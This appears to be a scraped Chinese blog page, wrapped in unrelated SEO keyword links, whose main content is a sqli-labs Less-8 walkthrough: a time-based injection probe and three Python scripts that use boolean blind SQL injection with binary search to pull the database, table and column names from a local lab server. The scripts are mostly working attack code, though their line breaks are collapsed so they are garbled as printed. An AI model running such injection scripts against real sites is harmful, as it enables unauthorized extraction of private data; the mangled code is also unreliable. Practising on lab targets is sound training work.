当前位置: 首页 > news >正文

化州网站建设大数据查询官网

化州网站建设,大数据查询官网,网站移动端是什么,番禺人才网招聿?id1 and sleep(2)-- 发现页面存在注点,使用时间盲注脚本进行注入--- import requestsdef inject_database(url):name #name用于存储猜测出的数据库名称 for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high…

?id=1' and sleep(2)--+

发现页面存在注点,使用时间盲注脚本进行注入---

import requestsdef inject_database(url):name = ''   #name用于存储猜测出的数据库名称 for i in range(1, 20):  # 假设数据库名称长度不超过20low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2   /*low, high, middle 用于二分查找(内层循环使用二分查找法猜测每个字符的ASCII值)*/while low < high:#构造Payload: payload是SQL注入的有效载荷,尝试猜测当前字符的ASCII值payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)params = {"id": payload}r = requests.get(url, params=params) # 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功low = middle + 1else:high = middlemiddle = (low + high) // 2 # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle > 32:  # 跳过空格和不可打印字符name += chr(middle)print(f"Current database name: {name}")low = 48high = 122middle = (low + high) // 2print(f"Final database name: {name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"inject_database(url)

用一个布尔盲注攻击,从数据库中提取表名

-循环遍历表名的每个字符

-二分查找法:通过ASCII码范围(48到122)进行二分查找,确定每个字符的值

-构造SQL注入Payload:利用substr函数和ascii函数逐字符比较表名的ASCII值

-发送请求并判断结果

-跳过空格和非打印字符:只拼接有效的字符

import requestsdef inject_table_name(url, database_name):table_name = ''for i in range(1, 20):  low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2while low < high:# payloadpayload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text:  low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32:  # 跳过空格和不可打印字符table_name += chr(middle)print(table_name)low = 48high = 122middle = (low + high) // 2print(f"Final table name: {table_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  database_name = "security"  # 目标数据库名称inject_table_name(url, database_name)

通过payload猜测数据库表的列名

import requestsdef inject_column_name(url, database_name, table_name):column_name = ''for i in range(1, 20): low = 48  # '0'high = 122  # 'z'middle = (low + high) // 2while low < high:payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text:  low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32: column_name += chr(middle)print(column_name)low = 48high = 122middle = (low + high) // 2print(f"Final column name: {column_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  database_name = "security"  table_name = "users"  # 目标表名inject_column_name(url, database_name, table_name)

http://www.khdw.cn/news/16664.html

相关文章:

  • 使用cdn的网站seo零基础培训
  • 广州网站建设腾虎怎么做好推广
  • 金华网站建设哪里好网站域名查询网
  • 石景山区建设委员会网站免费的推文制作网站
  • 网站开发源代码mvc网站排名优化首页
  • 有保障的广州网站建设西安百度爱采购推广
  • 邢台网站建设搜索引擎优化的流程是什么
  • 做金馆长网站网站廊坊seo外包公司费用
  • 物流网站建设方案范文企业网站建设原则是
  • 怎么把做的网站优化到百度关键词怎么提取
  • 漯河英文网站建设网站运营推广的方法有哪些
  • 先做网站还是做APP网络营销效果评估
  • 写论文的好网站seo网络优化推广
  • 网站建设技术指标网上营销培训课程
  • 青海企业网站制作友情链接英语
  • 动画做a视频在线观看网站竞价托管代运营多少钱
  • 宝鸡市城乡建设规划局网站标题优化怎样选关键词
  • 常德新闻网常德论坛win7怎么优化最流畅
  • 如何寻找做网站的客户sem竞价推广托管
  • 龙岗网站app建设百度快速收录教程
  • 头像网站模板爱站网关键词密度查询
  • 专门做音箱的网站广州seo黑帽培训
  • dede旅游网站模板可以免费领取会员的软件
  • 资源网站很难做百度客服平台
  • 宁波建网站推荐网站seo优化软件
  • 石家庄高端网站建设搜索引擎营销的分类
  • 商河网站建设怎么免费搭建自己的网站
  • logo设计公司怎么去跟客户谈合肥优化推广公司
  • 做网站费用联系方式seo推广网址
  • 网站制作大型公司百度论坛首页